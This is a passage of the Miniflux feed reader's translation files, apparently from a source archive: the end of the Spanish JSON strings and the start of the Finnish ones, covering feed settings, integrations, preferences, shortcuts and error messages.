"form.feed.label.feed_password": "Contraseña de la fuente",
"form.feed.label.user_agent": "Invalidar el agente de usuario predeterminado",
"form.feed.label.cookie": "Configurar las cookies",
"form.feed.label.scraper_rules": "Reglas de extracción de información",
"form.feed.label.rewrite_rules": "Reglas de reescribir",
"form.feed.label.apprise_service_urls": "Lista separada por comas de las URL del servicio Apprise",
"form.feed.label.blocklist_rules": "Reglas de Filtrado (Bloquear)",
"form.feed.label.keeplist_rules": "Reglas de Filtrado (Permitir)",
"form.feed.label.urlrewrite_rules": "Reglas de Filtrado (Reescritura)",
"form.feed.label.ignore_http_cache": "Ignorar caché HTTP",
"form.feed.label.allow_self_signed_certificates": "Permitir certificados autofirmados o no válidos",
"form.feed.label.disable_http2": "Deshabilite HTTP/2 para evitar huellas digitales",
"form.feed.label.fetch_via_proxy": "Buscar a través de proxy",
"form.feed.label.disabled": "No actualice este feed",
"form.feed.label.no_media_player": "Sin reproductor multimedia (audio/video)",
"form.feed.label.hide_globally": "Ocultar artículos en la lista global de no leídos",
"form.feed.label.ntfy_activate": "Enviar entradas a ntfy",
"form.feed.label.ntfy_priority": "Prioridad Ntfy",
"form.feed.label.ntfy_max_priority": "Prioridad máxima a Ntfy",
"form.feed.label.ntfy_high_priority": "Prioridad alta a Ntfy",
"form.feed.label.ntfy_default_priority": "Prioridad predeterminada a Ntfy",
"form.feed.label.ntfy_low_priority": "Prioridad baja a Ntfy",
"form.feed.label.ntfy_min_priority": "Prioridad mínima a Ntfy",
"form.integration.cubox_activate": "Save entries to Cubox",
"form.integration.cubox_api_link": "Cubox API link",
"form.feed.fieldset.general": "General",
"form.feed.fieldset.rules": "Reglas",
"form.feed.fieldset.network_settings": "Ajustes de red",
"form.feed.fieldset.integration": "Servicios de terceros",
"form.category.label.title": "Título",
"form.category.hide_globally": "Ocultar artículos en la lista global de no leídos",
"form.user.label.username": "Nombre de usuario",
"form.user.label.password": "Contraseña",
"form.user.label.confirmation": "Confirmación de contraseña",
"form.user.label.admin": "Administrador",
"form.prefs.label.language": "Idioma",
"form.prefs.label.timezone": "Zona horaria",
"form.prefs.label.theme": "Tema",
"form.prefs.label.entry_sorting": "Clasificación de artículos",
"form.prefs.label.entries_per_page": "Artículos por página",
"form.prefs.label.default_reading_speed": "Velocidad de lectura de otras lenguas (palabras por minuto)",
"form.prefs.label.cjk_reading_speed": "Velocidad de lectura en chino, coreano y japonés (caracteres por minuto)",
"form.prefs.label.display_mode": "Modo de visualización de aplicación web progresiva (PWA)",
"form.prefs.select.older_first": "Artículos antiguos primero",
"form.prefs.select.recent_first": "Artículos recientes primero",
"form.prefs.select.fullscreen": "Pantalla completa",
"form.prefs.select.standalone": "Autónomo",
"form.prefs.select.minimal_ui": "Mínimo",
"form.prefs.select.browser": "Navegador",
"form.prefs.select.publish_time": "Hora de publicación del artículo",
"form.prefs.select.created_time": "Hora de creación del artículo",
"form.prefs.select.alphabetical": "Alfabético",
"form.prefs.select.unread_count": "Recuento de no leídos",
"form.prefs.select.none": "Ninguno",
"form.prefs.select.tap": "Doble toque",
"form.prefs.select.swipe": "Golpe fuerte",
"form.prefs.label.keyboard_shortcuts": "Habilitar atajos de teclado",
"form.prefs.label.entry_swipe": "Habilitar deslizamiento de entrada en pantallas táctiles",
"form.prefs.label.gesture_nav": "Gesto para navegar entre entradas",
"form.prefs.label.show_reading_time": "Mostrar el tiempo estimado de lectura de los artículos",
"form.prefs.label.custom_css": "CSS personalizado",
"form.prefs.label.custom_js": "JavaScript personalizado",
"form.prefs.label.entry_order": "Columna de clasificación de artículos",
"form.prefs.label.default_home_page": "Página de inicio por defecto",
"form.prefs.label.categories_sorting_order": "Clasificación por categorías",
"form.prefs.label.mark_read_on_view": "Marcar automáticamente las entradas como leídas cuando se vean",
"form.prefs.label.mark_read_on_view_or_media_completion": "Marcar las entradas como leídas cuando se vean. Para audio/video, marcar como leído al 90%% de finalización",
"form.prefs.label.mark_read_on_media_completion": "Marcar como leído solo cuando la reproducción de audio/video alcance el 90%% de finalización",
"form.prefs.label.mark_read_manually": "Marcar entradas como leídas manualmente",
"form.prefs.fieldset.application_settings": "Ajustes de la aplicación",
"form.prefs.fieldset.authentication_settings": "Ajustes de la autentificación",
"form.prefs.fieldset.reader_settings": "Ajustes del lector",
"form.prefs.fieldset.global_feed_settings": "Ajustes globales del feed",
"form.prefs.label.external_font_hosts": "External font hosts",
"form.prefs.help.external_font_hosts": "Space separated list of external font hosts to allow. For example: \"fonts.gstatic.com fonts.googleapis.com\".",
"error.settings_invalid_domain_list": "Invalid domain list. Please provide a space separated list of domains.",
"form.import.label.file": "Archivo OPML",
"form.import.label.url": "URL",
"form.integration.betula_activate": "Guardar artículos en Betula",
"form.integration.betula_url": "URL del servidor Betula",
"form.integration.betula_token": "Token de Betula",
"form.integration.fever_activate": "Activar API de Fever",
"form.integration.fever_username": "Nombre de usuario de Fever",
"form.integration.fever_password": "Contraseña de Fever",
"form.integration.fever_endpoint": "Acceso API de Fever:",
"form.integration.googlereader_activate": "Activar API de Google Reader",
"form.integration.googlereader_username": "Nombre de usuario de Google Reader",
"form.integration.googlereader_password": "Contraseña de Google Reader",
"form.integration.googlereader_endpoint": "Acceso API de Google Reader:",
"form.integration.pinboard_activate": "Enviar artículos a Pinboard",
"form.integration.pinboard_token": "Token de API de Pinboard",
"form.integration.pinboard_tags": "Etiquetas de Pinboard",
"form.integration.pinboard_bookmark": "Marcar marcador como no leído",
"form.integration.instapaper_activate": "Enviar artículos a Instapaper",
"form.integration.instapaper_username": "Nombre de usuario de Instapaper",
"form.integration.instapaper_password": "Contraseña de Instapaper",
"form.integration.pocket_activate": "Enviar artículos a Pocket",
"form.integration.pocket_consumer_key": "Clave del consumidor de Pocket",
"form.integration.pocket_access_token": "Token de acceso de Pocket",
"form.integration.pocket_connect_link": "Conectar a la cuenta de Pocket",
"form.integration.wallabag_activate": "Enviar artículos a Wallabag",
"form.integration.wallabag_only_url": "Enviar solo URL (en lugar de contenido completo)",
"form.integration.wallabag_endpoint": "URL base de Wallabag",
"form.integration.wallabag_client_id": "ID de cliente de Wallabag",
"form.integration.wallabag_client_secret": "Secreto de cliente de Wallabag",
"form.integration.wallabag_username": "Nombre de usuario de Wallabag",
"form.integration.wallabag_password": "Contraseña de Wallabag",
"form.integration.notion_activate": "Guardar entradas en Notion",
"form.integration.notion_page_id": "ID de página de Notion",
"form.integration.notion_token": "Token secreto de Notion",
"form.integration.apprise_activate": "Enviar artículos a Apprise",
"form.integration.apprise_url": "URL de la API de Apprise",
"form.integration.apprise_services_url": "Lista separada por comas de las URL del servicio Apprise",
"form.integration.nunux_keeper_activate": "Enviar artículos a Nunux Keeper",
"form.integration.nunux_keeper_endpoint": "Acceso API de Nunux Keeper",
"form.integration.nunux_keeper_api_key": "Clave de API de Nunux Keeper",
"form.integration.omnivore_activate": "Enviar artículos a Omnivore",
"form.integration.omnivore_url": "Acceso API de Omnivore",
"form.integration.omnivore_api_key": "Clave de API de Omnivore",
"form.integration.espial_activate": "Enviar artículos a Espial",
"form.integration.espial_endpoint": "Acceso API de Espial",
"form.integration.espial_api_key": "Clave de API de Espial",
"form.integration.espial_tags": "Etiquetas de Espial",
"form.integration.readwise_activate": "Guardar artículos en Readwise Reader",
"form.integration.readwise_api_key": "Token de acceso a Readwise Reader",
"form.integration.readwise_api_key_link": "Obtener tu token de acceso a Readwise",
"form.integration.telegram_bot_activate": "Envíe nuevos artículos al chat de Telegram",
"form.integration.telegram_bot_token": "Token de bot",
"form.integration.telegram_chat_id": "ID de chat",
"form.integration.telegram_topic_id": "Topic ID",
"form.integration.telegram_bot_disable_web_page_preview": "Deshabilitar la vista previa de la página web",
"form.integration.telegram_bot_disable_notification": "Deshabilitar notificación",
"form.integration.telegram_bot_disable_buttons": "Deshabilitar botones",
"form.integration.linkace_activate": "Guardar artículos en LinkAce",
"form.integration.linkace_endpoint": "LinkAce API Endpoint",
"form.integration.linkace_api_key": "Clave API de LinkAce",
"form.integration.linkace_tags": "Etiquetas de LinkAce",
"form.integration.linkace_is_private": "Marcar enlace como privado",
"form.integration.linkace_check_disabled": "Deshabilitar la comprobación de enlace",
"form.integration.linkding_activate": "Enviar artículos a Linkding",
"form.integration.linkding_endpoint": "Acceso API de Linkding",
"form.integration.linkding_api_key": "Clave de API de Linkding",
"form.integration.linkding_tags": "Etiquetas de Linkding",
"form.integration.linkding_bookmark": "Marcar marcador como no leído",
"form.integration.linkwarden_activate": "Enviar artículos a Linkwarden",
"form.integration.linkwarden_endpoint": "Acceso API de Linkwarden",
"form.integration.linkwarden_api_key": "Clave de API de Linkwarden",
"form.integration.matrix_bot_activate": "Transferir nuevos artículos a Matrix",
"form.integration.matrix_bot_user": "Nombre de usuario para Matrix",
"form.integration.matrix_bot_password": "Contraseña para el usuario de Matrix",
"form.integration.matrix_bot_url": "URL del servidor de Matrix",
"form.integration.matrix_bot_chat_id": "ID de la sala de Matrix",
"form.integration.raindrop_activate": "Guardar artículos en Raindrop",
"form.integration.raindrop_token": "(Test) Token",
"form.integration.raindrop_collection_id": "Colección ID",
"form.integration.raindrop_tags": "Etiquetas (separadas por comas)",
"form.integration.readeck_activate": "Enviar artículos a Readeck",
"form.integration.readeck_endpoint": "Acceso API de Readeck",
"form.integration.readeck_api_key": "Clave de API de Readeck",
"form.integration.readeck_labels": "Etiquetas de Readeck",
"form.integration.readeck_only_url": "Enviar solo URL (en lugar de contenido completo)",
"form.integration.shiori_activate": "Guardar artículos a Shiori",
"form.integration.shiori_endpoint": "Extremo de API de Shiori",
"form.integration.shiori_username": "Nombre de usuario de Shiori",
"form.integration.shiori_password": "Contraseña de Shiori",
"form.integration.shaarli_activate": "Guardar artículos en Shaarli",
"form.integration.shaarli_endpoint": "URL de Shaarli",
"form.integration.shaarli_api_secret": "Secreto API de Shaarli",
"form.integration.webhook_activate": "Habilitar Webhook",
"form.integration.webhook_url": "URL de Webhook",
"form.integration.webhook_secret": "Secreto de Webhook",
"form.integration.rssbridge_activate": "Vericar RSS-Bridge al agregar suscripciones",
"form.integration.rssbridge_url": "URL del servidro RSS-Bridge",
"form.integration.ntfy_activate": "Enviar artículos a ntfy",
"form.integration.ntfy_topic": "Tema Ntfy",
"form.integration.ntfy_url": "URL de Ntfy (opcional, la predeterminada es ntfy.sh)",
"form.integration.ntfy_api_token": "Token de API de Ntfy (opcional)",
"form.integration.ntfy_username": "Nombre de usuario de Ntfy (opcional)",
"form.integration.ntfy_password": "Contraseña de Ntfy (opcional)",
"form.integration.ntfy_icon_url": "URL del icono de Ntfy (opcional)",
"form.integration.ntfy_internal_links": "Use internal links on click (optional)",
"form.integration.discord_activate": "Enviar artículos a Discord",
"form.integration.discord_webhook_link": "URL de la Webhook de Discord",
"form.api_key.label.description": "Etiqueta de clave API",
"form.submit.loading": "Cargando...",
"form.submit.saving": "Guardando...",
"time_elapsed.not_yet": "todavía no",
"time_elapsed.yesterday": "ayer",
"time_elapsed.now": "ahora mismo",
"time_elapsed.minutes": [
"hace %d minuto",
"hace %d minutos"
],
"time_elapsed.hours": [
"hace %d hora",
"hace %d horas"
],
"time_elapsed.days": [
"hace %d día",
"hace %d días"
],
"time_elapsed.weeks": [
"hace %d semana",
"hace %d semanas"
],
"time_elapsed.months": [
"hace %d mes",
"hace %d meses"
],
"time_elapsed.years": [
"hace %d año",
"hace %d años"
],
"alert.too_many_feeds_refresh": [
"Has activado demasiadas actualizaciones del feed. Espere %d minuto antes de volver a intentarlo.",
"Has activado demasiadas actualizaciones del feed. Espere %d minutos antes de volver a intentarlo."
],
"alert.background_feed_refresh": "Todos los feeds se actualizan en segundo plano. Puede continuar usando Miniflux mientras se ejecuta este proceso.",
"error.http_response_too_large": "La respuesta HTTP es demasiado grande. Puede aumentar el límite de tamaño de respuesta HTTP en la configuración global (requiere reiniciar el servidor).",
"error.http_body_read": "Imposible leer el cuerpo HTTP: %v.",
"error.http_empty_response_body": "El cuerpo de la respuesta HTTP está vacío.",
"error.http_empty_response": "La respuesta HTTP está vacía. ¿Quizás este sitio web tiene un mecanismo de protección contra bots?",
"error.tls_error": "Error de TLS: %q. Puede desactivar la verificación TLS en la configuración del feed si lo desea.",
"error.network_operation": "Miniflux no puede acceder a este sitio web debido a un error de red: %v.",
"error.network_timeout": "Este sitio web es demasiado lento y se agotó el tiempo de espera de la solicitud: %v",
"error.http_client_error": "Error cliente HTTP: %v.",
"error.http_not_authorized": "El acceso a este sitio web no está autorizado. Podría ser un nombre de usuario o contraseña incorrectos.",
"error.http_too_many_requests": "Miniflux generó demasiadas solicitudes a este sitio web. Por favor, inténtalo de nuevo más tarde o cambia la configuración de la aplicación.",
"error.http_forbidden": "El acceso a este sitio web está prohibido. ¿Quizás este sitio web tiene un mecanismo de protección contra bots?",
"error.http_resource_not_found": "No se encuentra el recurso solicitado. Por favor, verifique la URL.",
"error.http_internal_server_error": "El sitio web no está disponible en estos momentos debido a un error del servidor. El problema no está en el lado de Miniflux. Por favor, inténtalo de nuevo más tarde.",
"error.http_bad_gateway": "El sitio web no está disponible en este momento debido a un error en la puerta de enlace. El problema no está en el lado de Miniflux. Por favor, inténtalo de nuevo más tarde.",
"error.http_service_unavailable": "El sitio web no está disponible en estos momentos debido a un error interno del servidor. El problema no está en el lado de Miniflux. Por favor, inténtalo de nuevo más tarde.",
"error.http_gateway_timeout": "El sitio web no está disponible en este momento debido a un error de tiempo de espera de la puerta de enlace. El problema no está en el lado de Miniflux. Por favor, inténtalo de nuevo más tarde.",
"error.http_unexpected_status_code": "El sitio web no está disponible en este momento debido a un código de estado HTTP inesperado: %d. El problema no está en el lado de Miniflux. Por favor, inténtalo de nuevo más tarde.",
"error.database_error": "Error en la base de datos: %v.",
"error.category_not_found": "Esta categoría no existe o no pertenece a este usuario.",
"error.duplicated_feed": "Este feed ya existe.",
"error.unable_to_parse_feed": "No se puede analizar este feed: %v.",
"error.feed_not_found": "Este feed no existe o no pertenece a este usuario.",
"error.unable_to_detect_rssbridge": "No se puede detectar la fuente usando RSS-Bridge: %v.",
"error.feed_format_not_detected": "No se puede detectar el formato del feed: %v.",
"form.prefs.label.media_playback_rate": "Velocidad de reproducción del audio/vídeo",
"error.settings_media_playback_rate_range": "La velocidad de reproducción está fuera de rango",
"enclosure_media_controls.seek" : "Buscar:",
"enclosure_media_controls.seek.title" : "Buscar %s segundos",
"enclosure_media_controls.speed" : "Velocidad:",
"enclosure_media_controls.speed.faster" : "Más rápido",
"enclosure_media_controls.speed.faster.title" : "Más rápido a %sx",
"enclosure_media_controls.speed.slower" : "Despacio",
"enclosure_media_controls.speed.slower.title" : "Más despacio a %sx",
"enclosure_media_controls.speed.reset" : "Restablecer",
"enclosure_media_controls.speed.reset.title" : "Restablecer la velocidad a 1x"
}
v2-2.2.5/internal/locale/translations/fi_FI.json 0000664 0000000 0000000 00000104757 14743520056 0021536 0 ustar 00root root 0000000 0000000 {
"skip_to_content": "Skip to content",
"confirm.question": "Oletko varma?",
"confirm.question.refresh": "Haluatko pakottaa päivityksen?",
"confirm.yes": "kyllä",
"confirm.no": "ei",
"confirm.loading": "Käynnissä...",
"action.subscribe": "Tilaa",
"action.save": "Tallenna",
"action.or": "tai",
"action.cancel": "peru",
"action.remove": "Poista",
"action.remove_feed": "Poista tämä syöte",
"action.update": "Päivitä",
"action.edit": "Muokkaa",
"action.download": "Lataa",
"action.import": "Tuo",
"action.login": "Kirjaudu sisään",
"action.home_screen": "Lisää aloitusnäytölle",
"tooltip.keyboard_shortcuts": "Pikanäppäin: %s",
"tooltip.logged_user": "Kirjautunut %s-käyttäjänä",
"menu.title": "Menu",
"menu.home_page": "Home page",
"menu.unread": "Lukemattomat",
"menu.starred": "Suosikit",
"menu.history": "Historia",
"menu.feeds": "Syötteet",
"menu.categories": "Kategoriat",
"menu.settings": "Asetukset",
"menu.logout": "Kirjaudu ulos",
"menu.preferences": "Asetukset",
"menu.integrations": "Integraatiot",
"menu.sessions": "Istunnot",
"menu.users": "Käyttäjät",
"menu.about": "Tietoja",
"menu.export": "Vie",
"menu.import": "Tuo",
"menu.search": "Haku",
"menu.create_category": "Luo kategoria",
"menu.mark_page_as_read": "Merkitse tämä sivu luetuksi",
"menu.mark_all_as_read": "Merkitse kaikki luetuksi",
"menu.show_all_entries": "Näytä kaikki artikkelit",
"menu.show_only_unread_entries": "Näytä vain lukemattomat artikkelit",
"menu.show_only_starred_entries": "Show only starred entries",
"menu.refresh_feed": "Päivitä",
"menu.refresh_all_feeds": "Päivitä kaikki syötteet taustalla",
"menu.edit_feed": "Muokkaa",
"menu.edit_category": "Muokkaa",
"menu.add_feed": "Lisää tilaus",
"menu.add_user": "Lisää käyttäjä",
"menu.flush_history": "Tyhjennä historia",
"menu.feed_entries": "Artikkelit",
"menu.api_keys": "API-avaimet",
"menu.create_api_key": "Luo uusi API-avain",
"menu.shared_entries": "Jaetut artikkelit",
"search.label": "Haku",
"search.placeholder": "Hae...",
"search.submit": "Search",
"pagination.last": "Last",
"pagination.next": "Seuraava",
"pagination.first": "First",
"pagination.previous": "Edellinen",
"entry.status.unread": "Lukematon",
"entry.status.read": "Luettu",
"entry.status.toast.unread": "Merkitty lukemattomaksi",
"entry.status.toast.read": "Merkitty luetuksi",
"entry.status.title": "Vaihda artikkelin tilaa",
"entry.bookmark.toggle.on": "Lisää suosikkeihin",
"entry.bookmark.toggle.off": "Poista suosikeista",
"entry.bookmark.toast.on": "Tähdellä merkityt",
"entry.bookmark.toast.off": "Tähdettömät",
"entry.state.saving": "Tallennetaan...",
"entry.state.loading": "Ladataan...",
"entry.save.label": "Tallenna",
"entry.save.title": "Tallenna tämä artikkeli",
"entry.save.completed": "Valmis!",
"entry.save.toast.completed": "Artikkeli tallennettu",
"entry.scraper.label": "Lataa",
"entry.scraper.title": "Nouda alkuperäinen sisältö",
"entry.scraper.completed": "Valmis!",
"entry.external_link.label": "Ulkoinen linkki",
"entry.comments.label": "Kommentit",
"entry.comments.title": "Näytä kommentit",
"entry.share.label": "Jaa",
"entry.share.title": "Jaa tämä artikkeli",
"entry.unshare.label": "Poista jako",
"entry.shared_entry.title": "Avaa julkinen linkki",
"entry.shared_entry.label": "Jaa",
"entry.estimated_reading_time": [
"%d minuutin lukuaika",
"%d minuutin lukuaika"
],
"entry.tags.label": "Tags:",
"page.shared_entries.title": "Jaetut artikkelit",
"page.shared_entries_count": [
"%d shared entry",
"%d shared entries"
],
"page.unread.title": "Lukemattomat",
"page.unread_entry_count": [
"%d unread entry",
"%d unread entries"
],
"page.total_entry_count": [
"%d entry in total",
"%d entries in total"
],
"page.starred.title": "Suosikit",
"page.starred_entry_count": [
"%d starred entry",
"%d starred entries"
],
"page.categories.title": "Kategoriat",
"page.categories.no_feed": "Ei syötettä.",
"page.categories.entries": "Artikkelit",
"page.categories.feeds": "Tilaukset",
"page.categories.feed_count": [
"On %d syöte.",
"On %d syötettä."
],
"page.categories_count": [
"%d category",
"%d categories"
],
"page.new_category.title": "Uusi kategoria",
"page.new_user.title": "Uusi käyttäjä",
"page.edit_category.title": "Muokkaa kategoria: %s",
"page.edit_user.title": "Muokkaa käyttäjä: %s",
"page.feeds.title": "Syötteet",
"page.category_label": "Category: %s",
"page.feeds.last_check": "Viimeisin tarkistus:",
"page.feeds.next_check": "Next check:",
"page.feeds.read_counter": "Luettujen artikkeleiden määrä",
"page.feeds.error_count": [
"%d virhe",
"%d virhettä"
],
"page.history.title": "Historia",
"page.read_entry_count": [
"%d read entry",
"%d read entries"
],
"page.import.title": "Tuo",
"page.search.title": "Hakutulokset",
"page.about.title": "Tietoja",
"page.about.credits": "Kiitokset",
"page.about.version": "Versio:",
"page.about.build_date": "Valmistuspäivä:",
"page.about.author": "Tekijä:",
"page.about.license": "Lisenssi:",
"page.about.global_config_options": "Yleiset asetukset",
"page.about.postgres_version": "Postgres-versio:",
"page.about.go_version": "Go-versio:",
"page.add_feed.title": "Uusi tilaus",
"page.add_feed.no_category": "Ei ole ketegoriaa. Sinulla on oltava vähintään yksi ketegoria.",
"page.add_feed.label.url": "URL-osoite",
"page.add_feed.submit": "Etsi tilaus",
"page.add_feed.legend.advanced_options": "Edistyneet asetukset",
"page.add_feed.choose_feed": "Valitse tilaus",
"page.edit_feed.title": "Muokkaa syöte: %s",
"page.edit_feed.last_check": "Viimeisin tarkistus:",
"page.edit_feed.last_modified_header": "LastModified-otsikko:",
"page.edit_feed.etag_header": "ETag-otsikko:",
"page.edit_feed.no_header": "Ei mitään",
"page.edit_feed.last_parsing_error": "Viimeisin jäsennysvirhe",
"page.entry.attachments": "Liitteet",
"page.keyboard_shortcuts.title": "Pikanäppäimet",
"page.keyboard_shortcuts.subtitle.sections": "Osion navigointi",
"page.keyboard_shortcuts.subtitle.items": "Kohteiden navigointi",
"page.keyboard_shortcuts.subtitle.pages": "Sivujen navigointi",
"page.keyboard_shortcuts.subtitle.actions": "Toiminnot",
"page.keyboard_shortcuts.go_to_unread": "Siirry lukemattomiin",
"page.keyboard_shortcuts.go_to_starred": "Siirry kirjanmerkkeihin",
"page.keyboard_shortcuts.go_to_history": "Siirry historiaan",
"page.keyboard_shortcuts.go_to_feeds": "Siirry syötteisiin",
"page.keyboard_shortcuts.go_to_categories": "Siirry kategorioihin",
"page.keyboard_shortcuts.go_to_settings": "Siirry asetuksiin",
"page.keyboard_shortcuts.show_keyboard_shortcuts": "Näytä pikanäppäimet",
"page.keyboard_shortcuts.go_to_previous_item": "Siirry edelliseen kohteeseen",
"page.keyboard_shortcuts.go_to_next_item": "Siirry seuraavaan kohteeseen",
"page.keyboard_shortcuts.go_to_feed": "Siirry syötteeseen",
"page.keyboard_shortcuts.go_to_previous_page": "Siirry edelliselle sivulle",
"page.keyboard_shortcuts.go_to_next_page": "Siirry seuraavalle sivulle",
"page.keyboard_shortcuts.go_to_bottom_item": "Siirry alimpaan kohtaan",
"page.keyboard_shortcuts.go_to_top_item": "Siirry alkuun",
"page.keyboard_shortcuts.open_item": "Avaa valittu kohde",
"page.keyboard_shortcuts.open_original": "Avaa alkuperäinen linkki",
"page.keyboard_shortcuts.open_original_same_window": "Avaa alkuperäinen linkki nykyisessä välilehdessä",
"page.keyboard_shortcuts.open_comments": "Avaa kommenttilinkki",
"page.keyboard_shortcuts.open_comments_same_window": "Avaa kommenttilinkki nykyisessä välilehdessä",
"page.keyboard_shortcuts.toggle_read_status_next": "Vaihda luettu/lukematon, keskity seuraavaksi",
"page.keyboard_shortcuts.toggle_read_status_prev": "Vaihda luettu/lukematon, keskity edelliseen",
"page.keyboard_shortcuts.refresh_all_feeds": "Päivitä kaikki syötteet taustalla",
"page.keyboard_shortcuts.mark_page_as_read": "Merkitse nykyinen sivu luetuksi",
"page.keyboard_shortcuts.download_content": "Lataa alkuperäinen sisältö",
"page.keyboard_shortcuts.toggle_bookmark_status": "Vaihda kirjanmerkki",
"page.keyboard_shortcuts.save_article": "Tallenna artikkeli",
"page.keyboard_shortcuts.scroll_item_to_top": "Vieritä ylös",
"page.keyboard_shortcuts.remove_feed": "Poista tämä syöte",
"page.keyboard_shortcuts.go_to_search": "Aseta painopiste hakukenttään",
"page.keyboard_shortcuts.toggle_entry_attachments": "Toggle open/close entry attachments",
"page.keyboard_shortcuts.close_modal": "Sulje modaalinen valintaikkuna",
"page.users.title": "Käyttäjät",
"page.users.username": "Käyttäjätunnus",
"page.users.never_logged": "Ei koskaan",
"page.users.admin.yes": "Kyllä",
"page.users.admin.no": "Ei",
"page.users.actions": "Toiminnot",
"page.users.last_login": "Viimeisin kirjautuminen",
"page.users.is_admin": "Ylläpitäjä",
"page.settings.title": "Asetukset",
"page.settings.link_google_account": "Linkitä Google-tilini",
"page.settings.unlink_google_account": "Poista Google-tilini linkitys",
"page.settings.link_oidc_account": "Linkitä %s -tilini",
"page.settings.unlink_oidc_account": "Poista %s -tilini linkitys",
"page.settings.webauthn.passkeys": "Passkeys",
"page.settings.webauthn.actions": "Actions",
"page.settings.webauthn.passkey_name": "Passkey Name",
"page.settings.webauthn.added_on": "Added On",
"page.settings.webauthn.last_seen_on": "Last Used",
"page.settings.webauthn.register": "Rekisteröi salasana",
"page.settings.webauthn.register.error": "Salasanaa ei voi rekisteröidä",
"page.login.webauthn_login.help": "Please enter your username if you're using a security key. This is not required if you are using a Passkey (discoverable credentials).",
"page.settings.webauthn.delete": [
"Poista %d salasana",
"Poista %d salasanaa"
],
"page.login.title": "Kirjaudu sisään",
"page.login.google_signin": "Kirjaudu sisään Googlella",
"page.login.oidc_signin": "Kirjaudu sisään %silla",
"page.login.webauthn_login": "Kirjaudu sisään salasanalla",
"page.login.webauthn_login.error": "Ei voida kirjautua sisään salasanalla",
"page.integrations.title": "Integraatiot",
"page.integration.miniflux_api": "Miniflux API",
"page.integration.miniflux_api_endpoint": "API-päätepiste",
"page.integration.miniflux_api_username": "Käyttäjätunnus",
"page.integration.miniflux_api_password": "Salasana",
"page.integration.miniflux_api_password_value": "Tilisi salasana",
"page.integration.bookmarklet": "Sovelluskirjanmerkki",
"page.integration.bookmarklet.name": "Lisää Minifluxiin",
"page.integration.bookmarklet.instructions": "Vedä ja pudota tämä linkki kirjanmerkkeihisi.",
"page.integration.bookmarklet.help": "This special link allows you to subscribe to a website directly by using a bookmark in your web browser.",
"page.sessions.title": "Istunnot",
"page.sessions.table.date": "Päivämäärä",
"page.sessions.table.ip": "IP-osoite",
"page.sessions.table.user_agent": "Käyttäjäagentti",
"page.sessions.table.actions": "Toiminnot",
"page.sessions.table.current_session": "Nykyinen istunto",
"page.api_keys.title": "API-avaimet",
"page.api_keys.table.description": "Kuvaus",
"page.api_keys.table.token": "Tunnus",
"page.api_keys.table.last_used_at": "Viimeksi käytetty",
"page.api_keys.table.created_at": "Luomispäivä",
"page.api_keys.table.actions": "Toiminnot",
"page.api_keys.never_used": "Käyttämätön",
"page.new_api_key.title": "Uusi API-avain",
"page.offline.title": "Offline-tila",
"page.offline.message": "Olet offline-tilassa",
"page.offline.refresh_page": "Yritä päivittää sivu",
"page.webauthn_rename.title": "Rename Passkey",
"alert.no_shared_entry": "Jaettua artikkelia ei ole.",
"alert.no_bookmark": "Tällä hetkellä ei ole kirjanmerkkiä.",
"alert.no_category": "Ei ole kategoriaa.",
"alert.no_category_entry": "Tässä kategoriassa ei ole artikkeleita.",
"alert.no_tag_entry": "Tätä tunnistetta vastaavia merkintöjä ei ole.",
"alert.no_feed_entry": "Tässä syötteessä ei ole artikkeleita.",
"alert.no_feed": "Sinulla ei ole tilauksia.",
"alert.no_feed_in_category": "Tälle kategorialle ei ole tilausta.",
"alert.no_history": "Tällä hetkellä ei ole historiaa.",
"alert.feed_error": "Tässä syötteessä on ongelma",
"alert.no_search_result": "Ei hakua vastaavia tuloksia.",
"alert.no_unread_entry": "Ei ole lukemattomia artikkeleita.",
"alert.no_user": "Olet ainoa käyttäjä.",
"alert.account_unlinked": "Ulkoinen tilisi on nyt irrotettu!",
"alert.account_linked": "Ulkoinen tilisi on nyt linkitetty!",
"alert.pocket_linked": "Pocket-tilisi on nyt linkitetty!",
"alert.prefs_saved": "Asetukset tallennettu!",
"error.unlink_account_without_password": "Sinun on määritettävä salasana, muuten et voi kirjautua uudelleen.",
"error.duplicate_linked_account": "There is already someone associated with this provider!",
"error.duplicate_fever_username": "There is already someone else with the same Fever username!",
"error.duplicate_googlereader_username": "On jo joku muu, jolla on sama Google-syötteenlukijan käyttäjätunnus!",
"error.pocket_request_token": "Unable to fetch request token from Pocket!",
"error.pocket_access_token": "Unable to fetch access token from Pocket!",
"error.category_already_exists": "Kategoria on jo olemassa. ",
"error.unable_to_create_category": "Kategoriaa ei voi luoda.",
"error.unable_to_update_category": "Kategoriaa ei voi päivittää.",
"error.user_already_exists": "Käyttäjä on jo olemassa.",
"error.unable_to_create_user": "Käyttäjää ei voi luoda.",
"error.unable_to_update_user": "Käyttäjää ei voi päivittää.",
"error.unable_to_update_feed": "Syötettä ei voi päivittää.",
"error.subscription_not_found": "Tilausta ei löydy.",
"error.invalid_theme": "Virheellinen teema.",
"error.invalid_language": "Virheellinen kieli.",
"error.invalid_timezone": "Virheellinen aikavyöhyke.",
"error.invalid_entry_direction": "Invalid entry direction.",
"error.invalid_display_mode": "Virheellinen verkkosovelluksen näyttötila.",
"error.invalid_gesture_nav": "Virheellinen ele-navigointi.",
"error.invalid_default_home_page": "Väärä oletusarvoinen kotisivu!",
"error.empty_file": "Tiedosto on tyhjä.",
"error.bad_credentials": "Virheellinen käyttäjänimi tai salasana.",
"error.fields_mandatory": "Kaikki kentät ovat pakollisia.",
"error.title_required": "Otsikko on pakollinen.",
"error.different_passwords": "Salasanat eivät ole samat.",
"error.password_min_length": "Salasanassa on oltava vähintään 6 merkkiä.",
"error.settings_mandatory_fields": "Käyttäjätunnus, teema, kieli ja aikavyöhyke ovat pakollisia.",
"error.settings_reading_speed_is_positive": "Lukunopeuksien on oltava positiivisia kokonaislukuja.",
"error.settings_block_rule_fieldname_invalid": "Invalid Block rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_block_rule_separator_required": "Invalid Block rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_block_rule_regex_required": "Invalid Block rule: rule #%d's pattern is not provided",
"error.settings_block_rule_invalid_regex": "Invalid Block rule: rule #%d's pattern is not a valid regex",
"error.settings_keep_rule_fieldname_invalid": "Invalid Keep rule: rule #%d is missing a valid field name (Options: %s)",
"error.settings_keep_rule_separator_required": "Invalid Keep rule: rule #%d's pattern is required to be seperated by a '='",
"error.settings_keep_rule_regex_required": "Invalid Keep rule: rule #%d pattern is not provided",
"error.settings_keep_rule_invalid_regex": "Invalid Keep rule: rule #%d's pattern is not a valid regex",
